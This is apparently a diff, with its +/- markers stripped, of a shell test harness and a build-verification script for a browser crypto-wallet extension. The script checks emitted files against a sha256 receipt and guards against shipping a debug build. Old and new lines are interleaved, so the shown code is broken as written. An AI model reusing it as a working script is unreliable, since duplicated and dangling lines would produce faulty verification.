printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
printf 'body{color:#fff}\n' >dist/styles.css
}
# Cases that state what the build itself emitted, and so regenerate the
# receipt over the changed bytes.
c_no_marker() {
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
write_receipt
}
c_both_markers() {
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
write_receipt
}
c_marker_on_plain_file() {
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
>dist/chrome/src/content/index.js
write_receipt
}
c_debug_build() {
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
write_receipt
}
# --- Makefile wiring --------------------------------------------------------
# The verifier cases above prove what verify-build does when it is told what to
# expect. This proves the Makefile tells it — with the mode as an argument, on
# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
# exported in the shell that ran make. Read off `make -n`, so no build runs.
check_makefile_wiring() {
if ! command -v make >/dev/null 2>&1; then
SKIPPED=$((SKIPPED + 1))
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
echo " SKIP (make not found): Makefile wiring"
return 0
fi
# make build must ask for release, and must scrub the flag from the
# verifier's environment, even when the caller has it exported.
_wiring_case "make build passes --expect release" \
build "verify-build --expect release"
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
build "env -u AUTISTMASK_DEBUG"
_wiring_case "make build-debug passes --expect debug" \
build-debug "verify-build --expect debug"
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
build-debug "env -u AUTISTMASK_DEBUG"
}
_wiring_case() {
_wc_name="$1"
_wc_target="$2"
_wc_want="$3"
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
_wc_status=0
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
unset AUTISTMASK_DEBUG
if [ "$_wc_status" -ne 0 ]; then
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target exited $_wc_status"
return 0
fi
_wc_g=0
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
case "$_wc_g" in
0)
PASSED=$((PASSED + 1))
echo " ok: $_wc_name"
;;
1)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target does not run: $_wc_want"
;;
*)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " grep exited $_wc_g, so the recipe was never checked"
;;
esac
}
run_cases() {
check_case "control: untouched dist passes" \
no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
no release 0 "2 bundle(s) $MARKER_OFF" c_control
check_case "unlisted marker-carrying file, trailing space in name" \
no release 1 "carries a debug marker but is absent from" \
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control
check_case "debug bundles under --expect release fail (make build with
AUTISTMASK_DEBUG=1 exported)" \
no release-envdebug 1 \
"is $MARKER_ON but this build was told to expect" c_debug_build
check_case "debug bundles under --expect debug pass" \
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
check_case "no --expect argument" \
no no-expect 1 "no --expect argument." c_control
check_case "no --receipt argument" \
no no-receipt 1 "no --receipt argument." c_control
check_case "--expect takes release or debug" \
no bad-expect 1 "--expect takes release or debug" c_control
check_case "unknown argument" \
no unknown-arg 1 "unknown argument: --force" c_control
check_case "receipt inside the tree it describes" \
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
check_case "bundle replaced by a file containing only the marker" \
no release 1 "does not contain the bytes this build emitted" \
c_marker_only_stub
check_case "content script tampered with after the build" \
no release 1 \
"dist/chrome/src/content/index.js does not contain the bytes" \
c_tampered_content_script
check_case "manifest.json tampered with after the build" \
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
c_tampered_manifest
check_case "hand-written dist/ offered against this build's receipt" \
no release 1 "does not contain the bytes this build emitted" \
c_foreign_dist
check_case "extra file under dist/ carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
c_extra_file_with_marker
check_case "extra file under dist/ carrying no marker" \
no release 1 \
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
c_extra_file_no_marker
check_case "extra file, trailing space in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_trailing_space
check_case "unlisted marker-carrying file, newline in name" \
no release 1 "carries a debug marker but is absent from" \
check_case "extra file, newline in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_embedded_newline
check_case "dist/ replaced by a symlink" \
@@ -342,64 +651,88 @@ run_cases() {
check_case "dangling symlink under dist/" \
no release 1 \
"reading dist/chrome/dangling.js, so the file could not be" \
c_dangling_symlink
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink
check_case "symlink to a directory under dist/" \
no release 1 \
"reading dist/chrome/link-to-dir, so the file could not be" \
c_dir_symlink
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink
check_case "symlink to a listed bundle under an unlisted path" \
check_case "symlink aliasing an emitted bundle under another path" \
no release 1 \
"dist/chrome/src/aliased.js carries a debug marker but is absent" \
c_alias_symlink
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink
check_case "manifest missing" \
no release 1 "dist/constants-bundles.txt is missing." \
c_manifest_missing
check_case "receipt missing" \
no release 1 "is missing. build.js writes it" c_receipt_missing
check_case "manifest empty" \
no release 1 "is empty, so no emitted bundle was found to contain" \
c_manifest_empty
check_case "receipt empty" \
no release 1 "is empty, so the build wrote nothing to it" \
c_receipt_empty
check_case "manifest unreadable" \
check_case "receipt unreadable" \
yes release 1 "is not readable, so nothing was inspected." \
c_manifest_unreadable
c_receipt_unreadable
check_case "listed bundle missing" \
check_case "receipt is not a build receipt" \
no release 1 "does not start with" c_receipt_bad_header
check_case "receipt from a different checkout" \
no release 1 "was written by a build of a different tree" \
c_receipt_other_tree
check_case "receipt names a path containing a space" \
no release 1 "cannot be read back unambiguously" \
c_receipt_path_with_space
check_case "receipt names a path outside dist/" \
no release 1 "names a path that is not under dist/" \
c_receipt_path_outside_dist
check_case "emitted file missing" \
no release 1 \
"lists dist/chrome/src/popup/index.js, which does not exist." \
c_bundle_missing
"names dist/chrome/src/popup/index.js, which does not exist." \
c_emitted_missing
check_case "listed bundle empty" \
no release 1 "which is empty. An empty bundle" c_bundle_empty
check_case "emitted file empty" \
no release 1 "which is empty. An empty file" c_emitted_empty
check_case "listed bundle unreadable" \
check_case "emitted file unreadable" \
yes release 1 \
"reading dist/chrome/src/popup/index.js, so the file could not be" \
c_bundle_unreadable
"on dist/chrome/src/popup/index.js, so its bytes were never read" \
c_emitted_unreadable
check_case "unlisted extension carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs carries a debug marker but is" \
c_unlisted_extension
check_case "listed bundle carries no marker" \
check_case "emitted bundle carries no marker" \
no release 1 "carries no debug marker, so its DEBUG state cannot be" \
c_no_marker
check_case "listed bundle carries both markers" \
check_case "emitted bundle carries both markers" \
no release 1 "carries both debug markers, so DEBUG was not resolved" \
c_both_markers
check_case "wrong marker for the requested mode" \
no debug 1 "is $MARKER_OFF but this build expects $MARKER_ON" \
c_control
check_case "marker on a file the build did not record as a bundle" \
no release 1 "carries a debug marker but the build did not" \
c_marker_on_plain_file
check_makefile_wiring
}
# --- main --------------------------------------------------------------------
# The harness cannot build a receipt without a digest, so a missing sha256
# command is a failure here rather than a silent reduction in coverage.
pick_sha256_tool() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256_CMD="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256_CMD="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256_CMD="openssl dgst -sha256 -r"
else
echo "test-verify-build: no sha256 command found (tried sha256sum," \
"shasum, openssl), so no fixture receipt can be written" >&2
exit 1
fi
}
main() {
cd "$ROOT"
@@ -409,6 +742,7 @@ main() {
}
echo "Testing script/verify-build failure modes..."
pick_sha256_tool
probe_permission_runner
if [ "$PERM_ENABLED" = yes ]; then
echo " permission cases: enabled (runner: $PERM_HOW, proved against" \
@@ -426,11 +760,11 @@ main() {
if [ "$SKIPPED" -ne 0 ]; then
cat <<EOF
################################################################################
## WARNING: $SKIPPED PERMISSION CASE(S) DID NOT RUN, AND THIS RUN DOES NOT
## PROVE THEM. This process is uid $(id -u), and no runner subject to file
## permissions was available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so these cases would
## have passed without testing anything. They were skipped, not counted:
## WARNING: $SKIPPED CASE(S) DID NOT RUN, AND THIS RUN DOES NOT PROVE THEM.
## This process is uid $(id -u), and no runner subject to file permissions was
## available. Tried: $PERM_HOW.
## Under root, chmod 000 stops neither find nor grep, so the permission cases
## would have passed without testing anything. They were skipped, not counted:
$SKIPPED_NAMES################################################################################
EOF
echo "test-verify-build: $PASSED case(s) passed," \

View File

@@ -1,45 +1,91 @@
#!/bin/sh
# script/verify-build: assert the compiled DEBUG state of the emitted
# bundles. Our own extension to scripts-to-rule-them-all, run at the end of
# make build / make build-debug.
# script/verify-build: assert that dist/ holds exactly what the build that just
# ran emitted, and that the compiled DEBUG state of that output is the one the
# caller asked for. Our own extension to scripts-to-rule-them-all, run at the
# end of make build / make build-debug.
#
# Why this exists: DEBUG makes the publicly committed test recovery phrase the
# output of wallet creation, so a release artifact built with it live hands
# every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes
# the fallback branch; the property only exists in the emitted output, so it
# has to be asserted against the emitted output.
# Why the DEBUG half exists: DEBUG makes the publicly committed test recovery
# phrase the output of wallet creation, so a release artifact built with it live
# hands every new wallet to anyone who reads the repo. The test suite cannot see
# this, because it loads src/shared/constants.js outside a bundle and takes the
# fallback branch; the property only exists in the emitted output, so it has to
# be asserted against the emitted output.
#
# What it reads: dist/constants-bundles.txt, written by build.js from
# esbuild's metafile, naming every emitted bundle that contains
# src/shared/constants.js. Each of those must carry exactly one of the two
# BUILD_DEBUG_MARKER literals that constants.js folds down to.
# Which mode to expect is an ARGUMENT (--expect release|debug) and is never
# taken from this script's environment. It used to be read from
# AUTISTMASK_DEBUG here, which meant an operator with AUTISTMASK_DEBUG=1
# exported in their shell could run the release target, get a debug build, and
# have it verified green and exit 0. There is also no default: a caller that
# does not say what it built gets a failure, because "no opinion" is not a
# state this can check anything against.
#
# It fails rather than passes whenever it cannot determine a bundle's state.
# Minified output is not a stable contract, so "matched neither form" is not
# evidence of anything and must never read as green.
# Why the provenance half exists: on its own, a marker grep proves nothing
# about where the bytes came from. A 26-byte file containing only the marker
# string used to verify ok; the content script and manifest.json were not read
# at all; an entire hand-written dist/ passed. The list of files to check has
# therefore moved OUT of dist/: build.js writes a receipt naming every file it
# emitted, with each file's sha256 and whether it is one of the bundles
# containing src/shared/constants.js, and the Makefile creates that receipt
# path fresh per invocation, outside the repo, and deletes it afterwards.
#
# What that does and does not establish. It establishes that dist/ is byte for
# byte the output of the build.js run that just finished, with nothing added,
# nothing missing and nothing altered in between, and that the audited bundles
# in it compiled to the requested mode. It does NOT establish that the source
# tree or build.js were honest, and it says nothing at all to someone handed a
# dist/ from elsewhere: without the receipt from its own build they have no
# input to this check. That is signing, and it is not this control.
#
# It fails rather than passes whenever it cannot determine something. Minified
# output is not a stable contract, so "matched neither marker" is not evidence
# of anything and must never read as green; the same discipline applies to
# every read here, which is why a grep or a digest that could not be taken is
# a hard failure and not an absence of a problem.
set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
# Absolute path to this script, resolved before anything cd's anywhere.
# check_unlisted_bundles re-invokes it through xargs, and $0 on its own may be
# check_dist_tree re-invokes it through xargs, and $0 on its own may be
# relative to a directory we are about to leave.
SELF="$(cd "$(dirname "$0")" && pwd -P)/$(basename "$0")"
# Internal re-entry flag; see scan_dist_paths.
SCAN_FLAG="--scan-dist-paths"
# A literal newline, for the is_listed guard.
# A literal newline and tab, for the receipt-shape guards.
NEWLINE='
'
TAB=' '
MANIFEST="dist/constants-bundles.txt"
MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off"
# Set by read_marker.
RECEIPT_HEADER="autistmask-build-receipt v1"
# Set by the arguments.
RECEIPT=""
EXPECT=""
# Set by read_marker, read_sha256 and parse_file_line respectively, plus the
# receipt line number the diagnostics quote.
MARKER=""
SHA=""
ENTRY_HASH=""
ENTRY_FLAG=""
ENTRY_PATH=""
LINENO_R=0
# The sha256 command, chosen by pick_sha256.
SHA256=""
# Totals: the shape pass counts what the receipt claims, the entries pass
# counts what was actually checked against dist/, and the summary reports the
# latter.
SHAPE_COUNT=0
SHAPE_AUDITED=0
COUNT=0
AUDITED=0
# Temporary file holding the NUL-delimited dist/ listing, removed by the EXIT
# trap because fail() exits from wherever it is called.
@@ -50,11 +96,17 @@ fail() {
exit 1
}
usage() {
echo "usage: verify-build --expect release|debug --receipt PATH" >&2
}
cleanup() {
[ -z "$LISTING" ] || rm -f "$LISTING"
}
trap cleanup EXIT
# --- reading files ----------------------------------------------------------
# Is the literal $1 present in the file $2? Match (grep exit 0) and no-match
# (exit 1) are answers about the emitted output. Anything else (exit 2: the
# file could not be read) is not an answer at all, and must not be reported as
@@ -74,34 +126,46 @@ has_marker() {
esac
}
# Does the manifest list the path $1, as a whole line? Same discipline as
# has_marker: exit 0 and 1 are answers about the manifest, exit 2 means the
# manifest could not be read and is not an answer at all. Without this, an
# unreadable manifest reads as "this file is not listed" and every emitted
# bundle gets reported as an unlisted one.
#
# A path containing a newline is answered without asking grep, because grep
# would read the pattern as two patterns and report a match on either. That is
# how such a path escaped this check even once the walk stopped splitting it:
# the half before the newline matched a listed line and the file was skipped.
# The manifest is line-delimited, so it cannot name such a path at all, and
# "not listed" is the only true answer.
is_listed() {
case "$1" in
*"$NEWLINE"*) return 1 ;;
esac
_il_status=0
grep -q -x -F -e "$1" -- "$MANIFEST" || _il_status=$?
case "$_il_status" in
0) return 0 ;;
1) return 1 ;;
*)
fail "grep exited $_il_status reading $MANIFEST, so it could not be
searched and nothing was established about which bundles it lists. That is
a permissions or I/O fault on the manifest, not a stale manifest. Refusing
to report success."
# Pick the sha256 command once. All three print the digest as the first
# whitespace-delimited field. If none is present the digests cannot be taken at
# all, and this script has nothing left to check with, so it fails rather than
# degrading to the marker grep it used to be.
pick_sha256() {
if command -v sha256sum >/dev/null 2>&1; then
SHA256="sha256sum"
elif command -v shasum >/dev/null 2>&1; then
SHA256="shasum -a 256"
elif command -v openssl >/dev/null 2>&1; then
SHA256="openssl dgst -sha256 -r"
else
fail "no sha256 command found (tried sha256sum, shasum, openssl), so
the emitted files cannot be checked against the build receipt at all.
Refusing to report success."
fi
}
# Digest of $1 into SHA. A digest that could not be taken is not a mismatch and
# not a pass: it means the artifact was never read.
read_sha256() {
_rs_status=0
# Word-split on purpose: SHA256 is a command with its arguments.
# shellcheck disable=SC2086
_rs_out="$($SHA256 "$1" 2>/dev/null)" || _rs_status=$?
[ "$_rs_status" -eq 0 ] ||
fail "$SHA256 exited $_rs_status on $1, so its bytes were never read
and nothing was established about them. That is a permissions or I/O fault
on the artifact, not a mismatch. Refusing to report success."
SHA="${_rs_out%% *}"
case "$SHA" in
"" | *[!0-9a-f]*)
fail "$SHA256 produced no usable digest for $1, so its bytes were never
checked. Refusing to report success."
;;
esac
[ "${#SHA}" -eq 64 ] ||
fail "$SHA256 produced a ${#SHA}-character digest for $1, which is not
a sha256. Refusing to report success."
}
# Read one bundle's DEBUG state into MARKER. Exactly one marker must be
@@ -140,40 +204,189 @@ read_marker() {
fi
}
# The manifest says which bundles must carry a marker. This says no other
# emitted file may carry one, which catches a manifest that has gone stale
# or short rather than trusting whatever it happens to list.
# --- the receipt ------------------------------------------------------------
# Split one "file <sha256> <A|P> <path>" line into ENTRY_HASH, ENTRY_FLAG and
# ENTRY_PATH, and require the shape rather than assuming it. The path is the
# remainder of the line, so a path carrying a space or a tab would be read back
# as something other than what was written; build.js refuses to emit such a
# name, and a receipt that contains one is malformed rather than describing a
# file. Every rejection here is a failure: a line that cannot be understood is
# a file that would otherwise go unchecked.
parse_file_line() {
case "$1" in
"file "*) ;;
*)
fail "$RECEIPT line $LINENO_R is not a file entry and this script does
not know what it means: ${1}. Refusing to report success."
;;
esac
_pl="${1#file }"
ENTRY_HASH="${_pl%% *}"
_pl="${_pl#* }"
ENTRY_FLAG="${_pl%% *}"
ENTRY_PATH="${_pl#* }"
case "$ENTRY_HASH" in
"" | *[!0-9a-f]*) fail "$RECEIPT line $LINENO_R has no sha256: $1" ;;
esac
[ "${#ENTRY_HASH}" -eq 64 ] ||
fail "$RECEIPT line $LINENO_R has a ${#ENTRY_HASH}-character digest,
which is not a sha256: $1"
case "$ENTRY_FLAG" in
A | P) ;;
*) fail "$RECEIPT line $LINENO_R has no A/P audit flag: $1" ;;
esac
case "$ENTRY_PATH" in
dist/*) ;;
*)
fail "$RECEIPT line $LINENO_R names a path that is not under dist/:
$ENTRY_PATH. The receipt describes the emitted tree and nothing else."
;;
esac
case "$ENTRY_PATH" in
*" "* | *"$TAB"* | *"$NEWLINE"*)
fail "$RECEIPT line $LINENO_R names a path containing whitespace, which
cannot be read back unambiguously from a line-oriented receipt: $1"
;;
esac
}
# Check one emitted file against its receipt entry: it must be a regular file
# with exactly the recorded bytes, and its debug marker must match what the
# caller said this build was.
check_entry() {
[ ! -h "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH but that path is a symlink. The
build emits regular files only, so this is not the file it wrote. Refusing
to report success."
[ -f "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which does not exist. dist/ does
not hold what the build emitted."
[ -s "$ENTRY_PATH" ] ||
fail "the receipt names $ENTRY_PATH, which is empty. An empty file
carries no marker and matches no digest, so this is a failure and not a
pass."
read_sha256 "$ENTRY_PATH"
[ "$SHA" = "$ENTRY_HASH" ] ||
fail "$ENTRY_PATH does not contain the bytes this build emitted: the
receipt records $ENTRY_HASH and the file on disk is $SHA. Something wrote
to dist/ after the build, so this artifact is not the one that was built."
if [ "$ENTRY_FLAG" = A ]; then
read_marker "$ENTRY_PATH"
[ "$MARKER" = "$EXPECT" ] ||
fail "$ENTRY_PATH is $MARKER but this build was told to expect
$EXPECT. If AUTISTMASK_DEBUG=1 is exported in the shell that ran make
build, that is why: the flag still reaches the compiler, and this is the
check that stops the debug artifact being taken for a release one."
echo " ok: $ENTRY_PATH ($MARKER)"
AUDITED=$((AUDITED + 1))
else
if has_marker "$MARKER_ON" "$ENTRY_PATH" ||
has_marker "$MARKER_OFF" "$ENTRY_PATH"; then
fail "$ENTRY_PATH carries a debug marker but the build did not
record it as containing src/shared/constants.js. build.js selects audited
bundles with an endsWith(\".js\") test; a marker-carrying file outside that
set means the test no longer describes what is emitted, and the DEBUG state
of this file was never asserted against anything."
fi
fi
COUNT=$((COUNT + 1))
}
# Walk the receipt line by line, applying $1 to each file entry. The header and
# the root line are checked on the way past; the root line is what stops a
# receipt written by a build of some other tree being pointed at this one.
walk_receipt() {
_wr_each="$1"
LINENO_R=0
_line=""
while IFS= read -r _line || [ -n "$_line" ]; do
LINENO_R=$((LINENO_R + 1))
if [ "$LINENO_R" -eq 1 ]; then
[ "$_line" = "$RECEIPT_HEADER" ] ||
fail "$RECEIPT does not start with \"$RECEIPT_HEADER\", so it
is not a build receipt this script understands. Refusing to report
success."
continue
fi
if [ "$LINENO_R" -eq 2 ]; then
[ "$_line" = "root $ROOT" ] ||
fail "$RECEIPT was written by a build of a different tree: it
says \"$_line\" and this is $ROOT. A receipt only describes the dist/ of
the tree it was built in."
continue
fi
parse_file_line "$_line"
"$_wr_each"
done <"$RECEIPT"
[ "$LINENO_R" -ge 2 ] ||
fail "$RECEIPT is truncated: it has no root line, so it is not a
receipt this script can check anything against."
}
# Pass one: the receipt has to be a receipt before anything is concluded from
# it. A line this script cannot read is a file that would go unchecked, and a
# receipt naming no audited bundle asserts no DEBUG state at all — both are
# failures, and both have to be established before the tree is walked against
# it, because a receipt entry that was misread would otherwise surface as a
# complaint about dist/.
count_entry() {
SHAPE_COUNT=$((SHAPE_COUNT + 1))
if [ "$ENTRY_FLAG" = A ]; then
SHAPE_AUDITED=$((SHAPE_AUDITED + 1))
fi
}
check_receipt_shape() {
SHAPE_COUNT=0
SHAPE_AUDITED=0
walk_receipt count_entry
[ "$SHAPE_COUNT" -gt 0 ] ||
fail "$RECEIPT names no emitted files, so nothing was inspected. A
build always emits some."
[ "$SHAPE_AUDITED" -gt 0 ] ||
fail "$RECEIPT names no bundle containing src/shared/constants.js, so
no DEBUG state would be asserted at all. That is never correct, so it is a
failure and not a pass."
}
# Pass three: every file the receipt names, checked against the bytes on disk.
check_receipt_entries() {
walk_receipt check_entry
}
# --- the emitted tree -------------------------------------------------------
# The receipt says which files the build emitted. This says dist/ contains no
# others: an artifact that was added after the build, or that a hand-written
# dist/ brought with it, is not something the build vouches for and is not
# something this check may pass over.
#
# Deliberately unfiltered by extension. build.js selects manifest entries with
# an endsWith(".js") test; repeating that literal here would mean a bundle
# emitted under some other extension escaped the manifest AND this check at
# once, which is the correlated blind spot the two-source design exists to
# avoid. Every regular file and every symlink under dist/ is searched — that
# is the whole of what a build emits — so build.js's filter is the only place
# the assumption lives and this check is what catches it being wrong.
#
# That claim only holds if the walk is exhaustive and every name survives it
# intact, so four things are enforced here rather than assumed:
# The walk has to be exhaustive and every name has to survive it intact, so
# four things are enforced rather than assumed:
#
# - the walk is NUL-delimited and the paths reach the check as arguments, so
# no name can be reshaped on the way in. Read line by line, a name with a
# trailing space lost it to read's field splitting and the remnant then
# matched a manifest line, and a name containing a newline arrived as a
# listed path plus an empty one. Both left a marker-carrying, unlisted file
# unchecked while the script still reported success. Delivering such a name
# intact is only half of it; is_listed also has to keep it out of grep's
# pattern, for the same reason.
# matched a listed path, and a name containing a newline arrived as a
# listed path plus an empty one. Both left an unchecked file in dist/ while
# the script still reported success.
# - find's exit status is checked. A subtree it cannot descend is reported on
# stderr and then simply missing from the listing, so an unchecked status
# turns "could not look" into "nothing was there" — the same conflation
# has_marker exists to prevent. The status cannot be read off a pipeline,
# so the listing lands in a file that xargs then reads back.
# - symlinks are walked too (-type l), not skipped. A marker-carrying bundle
# reachable under an unlisted path in dist/ is a stale manifest whether the
# path is a link or a file, and grep reads through the link. A link that
# cannot be read through — dangling, or pointing at a directory — fails
# hard via has_marker's exit-2 path, which is the fail-closed answer: the
# build emits neither, so their DEBUG state is unproven, not fine.
# - symlinks are walked too (-type l), not skipped. The build emits none, so
# a symlink under dist/ is a path the build did not produce, whatever it
# points at, and it fails as one instead of being read through.
# - dist/ itself must be a directory and not a symlink, which main asserts
# before anything reads through it. find does not follow a symlink named on
# its own command line, so a linked dist/ collapses this walk to one entry
@@ -181,7 +394,7 @@ read_marker() {
#
# Types other than regular files and symlinks are left out on purpose: a build
# emits none of them, and grep on a fifo would hang rather than fail.
check_unlisted_bundles() {
check_dist_tree() {
LISTING="$(mktemp "${TMPDIR:-/tmp}/verify-build-dist.XXXXXX")" ||
fail "could not create a temporary file for the dist/ listing, so the
tree was never walked. Refusing to report success."
@@ -191,105 +404,196 @@ check_unlisted_bundles() {
[ "$_find_status" -eq 0 ] ||
fail "find exited $_find_status enumerating dist/, so part of the tree
was never walked and nothing was established about the files in it. Any
unlisted bundle there went unchecked. That is a permissions or I/O fault on
the artifact, not a stale manifest. Refusing to report success."
file the build did not emit could be sitting there unchecked. That is a
permissions or I/O fault on the artifact. Refusing to report success."
_scan_status=0
xargs -0 "$SELF" "$SCAN_FLAG" <"$LISTING" || _scan_status=$?
xargs -0 "$SELF" "$SCAN_FLAG" "$RECEIPT" <"$LISTING" || _scan_status=$?
[ "$_scan_status" -eq 0 ] ||
fail "the unlisted-bundle scan exited $_scan_status: either a path
under dist/ failed the check reported above, or the scan could not be run
at all. Refusing to report success."
fail "the dist/ tree scan exited $_scan_status: either a path under
dist/ failed the check reported above, or the scan could not be run at all.
Refusing to report success."
}
# The per-path half of check_unlisted_bundles. It runs in a re-invocation of
# this script, so it uses the same is_listed and has_marker as the rest of the
# file rather than a second copy of them that could drift. Paths arrive as
# arguments and are never split, joined or trimmed.
# Does the receipt name the path $1? Compared as whole strings, never through
# grep: a path found under dist/ is attacker-shaped input, and a pattern is not
# the place to put one. The receipt's own paths are known to carry no
# whitespace by the time this runs — verify_receipt failed the run otherwise —
# so stripping the three leading fields recovers each one exactly.
receipt_names() {
_rn_want="$1"
_rn_line=""
while IFS= read -r _rn_line || [ -n "$_rn_line" ]; do
case "$_rn_line" in
"file "*) ;;
*) continue ;;
esac
[ "${_rn_line#file * * }" != "$_rn_want" ] || return 0
done <"$RECEIPT"
return 1
}
# The per-path half of check_dist_tree. It runs in a re-invocation of this
# script, so it uses the same helpers as the rest of the file rather than a
# second copy of them that could drift. Paths arrive as arguments and are never
# split, joined or trimmed.
scan_dist_paths() {
for _file in "$@"; do
if is_listed "$_file"; then
if [ -h "$_file" ]; then
fail "$_file is a symlink under dist/. The build emits regular
files only, so this path is not something it produced, and what it points
at is not what was verified. Refusing to report success."
fi
if receipt_names "$_file"; then
continue
fi
if has_marker "$MARKER_ON" "$_file" ||
has_marker "$MARKER_OFF" "$_file"; then
fail "$_file carries a debug marker but is absent from $MANIFEST,
so the manifest no longer describes the emitted bundles."
fi
fail "$_file is under dist/ but the build that just ran did not emit
it. dist/ must contain exactly what the build produced: an extra file there
is an artifact nothing vouches for, and shipping the directory ships it."
done
}
# The requested mode, read from our own environment using build.js's exact
# rule: only the literal 1 opts in. Deliberately not taken from anything
# build.js records about itself, so build.js cannot vouch for build.js.
expected_marker() {
if [ "${AUTISTMASK_DEBUG-}" = "1" ]; then
echo "$MARKER_ON"
else
echo "$MARKER_OFF"
fi
# --- arguments --------------------------------------------------------------
# The expected mode and the receipt are stated by the caller. Nothing is read
# from the environment, and there is no default for either.
parse_args() {
while [ "$#" -gt 0 ]; do
case "$1" in
--expect)
[ "$#" -ge 2 ] || fail "--expect needs an argument (release|debug)."
set_expect "$2"
shift 2
;;
--expect=*)
set_expect "${1#--expect=}"
shift
;;
--receipt)
[ "$#" -ge 2 ] || fail "--receipt needs a path."
set_receipt "$2"
shift 2
;;
--receipt=*)
set_receipt "${1#--receipt=}"
shift
;;
*)
usage
fail "unknown argument: $1"
;;
esac
done
}
main() {
cd "$ROOT"
set_expect() {
[ -z "$EXPECT" ] || fail "--expect given more than once."
case "$1" in
release) EXPECT="$MARKER_OFF" ;;
debug) EXPECT="$MARKER_ON" ;;
*) fail "--expect takes release or debug, not \"$1\"." ;;
esac
}
# Internal re-entry from check_unlisted_bundles' xargs. Not part of the
set_receipt() {
[ -z "$RECEIPT" ] || fail "--receipt given more than once."
[ -n "$1" ] || fail "--receipt was given an empty path."
# Resolved against the caller's directory, before main cd's to the repo
# root.
case "$1" in
/*) RECEIPT="$1" ;;
*) RECEIPT="$PWD/$1" ;;
esac
}
# --- main -------------------------------------------------------------------
main() {
# Internal re-entry from check_dist_tree's xargs. Not part of the
# command-line interface: nothing else invokes it, and it is a distinct
# entry point rather than a mode flag threaded through the checks below.
if [ "${1-}" = "$SCAN_FLAG" ]; then
shift
[ "$#" -ge 1 ] || fail "internal: $SCAN_FLAG needs the receipt path."
RECEIPT="$1"
shift
cd "$ROOT"
[ -r "$RECEIPT" ] ||
fail "$RECEIPT became unreadable during the run, so the dist/ tree
could not be checked against it. Refusing to report success."
scan_dist_paths "$@"
return 0
fi
expected="$(expected_marker)"
echo "Verifying emitted bundles (expecting $expected)..."
parse_args "$@"
[ -n "$EXPECT" ] || {
usage
fail "no --expect argument. The mode this build was supposed to produce
has to be stated by whoever ran the build; it is not a default and it is
not read from AUTISTMASK_DEBUG in this script's environment, because an
operator with that exported would then have their debug build verified as
the release one they asked for."
}
[ -n "$RECEIPT" ] || {
usage
fail "no --receipt argument. The list of files to check comes from the
build that just ran, not from dist/: without it, a hand-written dist/ would
be verifying itself. make build and make build-debug pass one."
}
pick_sha256
cd "$ROOT"
# Asserted here rather than left to grep. A symlinked dist/ used to fail
# only because GNU grep exits 2 on a directory, so check_unlisted_bundles'
# single entry hit has_marker's I/O path by luck; under a grep that exits 1
# instead, the whole cross-check would have collapsed into a pass.
# only because GNU grep exits 2 on a directory, so the tree walk hit
# has_marker's I/O path by luck; under a grep that exits 1 instead, the
# whole cross-check would have collapsed into a pass.
if [ -h dist ]; then
fail "dist is a symlink, not a directory. find does not follow a
symlink named on its own command line, so the unlisted-bundle cross-check
would see one entry instead of the emitted tree and establish nothing about
it. Refusing to report success."
symlink named on its own command line, so the tree walk would see one entry
instead of the emitted tree and establish nothing about it. Refusing to
report success."
fi
[ -d dist ] ||
fail "dist is not a directory, so there is no emitted tree to verify.
build.js writes it; run make build first."
[ -f "$MANIFEST" ] ||
fail "$MANIFEST is missing. build.js writes it at the end of a
successful build; run make build first."
[ -s "$MANIFEST" ] ||
fail "$MANIFEST is empty, so no emitted bundle was found to contain
src/shared/constants.js. That is never correct, so it is a failure and not
a pass."
[ -r "$MANIFEST" ] ||
fail "$MANIFEST is not readable, so nothing was inspected. That is a
case "$RECEIPT" in
"$ROOT/dist" | "$ROOT/dist/"*)
fail "the receipt is inside dist/ ($RECEIPT). A receipt that lives in
the tree it describes is rewritten by whoever rewrites the tree, and vouches
for nothing. make build keeps it outside the repo."
;;
esac
[ -e "$RECEIPT" ] ||
fail "$RECEIPT is missing. build.js writes it at the end of a
successful build; run make build rather than invoking this directly."
[ -f "$RECEIPT" ] ||
